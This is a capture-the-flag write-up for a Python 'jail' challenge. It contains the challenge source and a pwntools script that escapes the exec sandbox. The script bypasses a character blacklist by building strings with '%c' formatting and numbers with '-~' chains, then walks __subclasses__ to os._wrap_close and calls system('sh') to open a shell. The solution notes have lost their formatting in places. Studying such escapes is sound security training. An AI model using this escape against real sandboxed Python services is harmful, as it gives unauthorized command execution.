import ast
print("Welcome to the jail! You're never gonna escape!")
payload = input("Enter payload: ") # No uppercase needed
blacklist = list("abdefghijklmnopqrstuvwxyz1234567890\\;._")
for i in payload:
assert ord(i) >= 32
assert ord(i) <= 127
assert (payload.count('>') + payload.count('<')) <= 1
assert payload.count('=') <= 1
assert i not in blacklist
tree = ast.parse(payload)
for node in ast.walk(tree):
if isinstance(node, ast.BinOp):
if not isinstance(node.op, ast.Mod): # Modulo because why not?
raise ValueError("I don't like math :(")
exec(payload,{'__builtins__':{},'c':getattr}) # This is enough right?
print('Bye!')
Requirements:
().__class__.__base__.__subclasses__()[os_wrap_index].__init__.__globals__["system"]("sh")
c
, only allow %
binary op: use "%c%c" % (97, 98)
to construct strings()<((),)
as 1
, use -~x
as x+1
.
: use getattr(A, "B")
as A.B
Inspired by official writeup and writeup by @squar3.
Steps:
-~
and ()<((),)
"%c%c" % (ord("A"), ord("B"))
where ord("A")
is computed in the first step().__class__.__base__.__subclasses__()[os_index].__init__.__globals__['system']('sh')
to use getattr where the strings are generated in the second stepAttack script:
from pwn import *
context(log_level="debug")
subclasses = str(().__class__.__base__.__subclasses__())
# find the indices of the builtins
# assuming we are using the same Python version as remote
# assuming os._wrap_close is at 158
os_index = 158
assert subclasses.split(", ").index("<class 'os._wrap_close'>") == os_index
p = process(["python3", "modulo.py"])
# to construct arbitrary number: -~x = ~(~x) + 1 = x + 1, so -~-~x = x + 2, etc
# 1: ()==()
is_first = True
def number(i):
global is_first
if is_first:
# we need to define O=1
one = "()<((),)"
added = "-~" * (i - 1)
is_first = False
return f"(O:={one},{added}O)[O]"
else:
added = "-~" * (i - 1)
return f"({added}O)"
# to construct "abc": use "%c%c%c" % (ord("a"), ord("b"), ord("c"))
def string(s):
fmt = "%c" * len(s)
args = ",".join([number(ord(ch)) for ch in s])
return f'("{fmt}"%({args}))'
# validation
assert eval(number(10)) == 10
assert eval(string("system")) == "system"
p.recvuntil(b"payload: ")
# ().__class__.__base__.__subclasses__()[os_index].__init__.__globals__['system']('sh')
# A.B -> c(A, "B") where c is getattr
# c(c(c(c(c((), "__class__"), "__base__"), "__subclasses__")()[os_index], "__init__"), "__globals__")["system"]("sh")
is_first = True
payload = f'c(c(c(c(c((), {string("__class__")}), {string("__base__")}), {string("__subclasses__")})()[{number(os_index)}], {string("__init__")}), {string("__globals__")})[{string("system")}]({string("sh")})'
p.sendline(payload.encode())
p.interactive()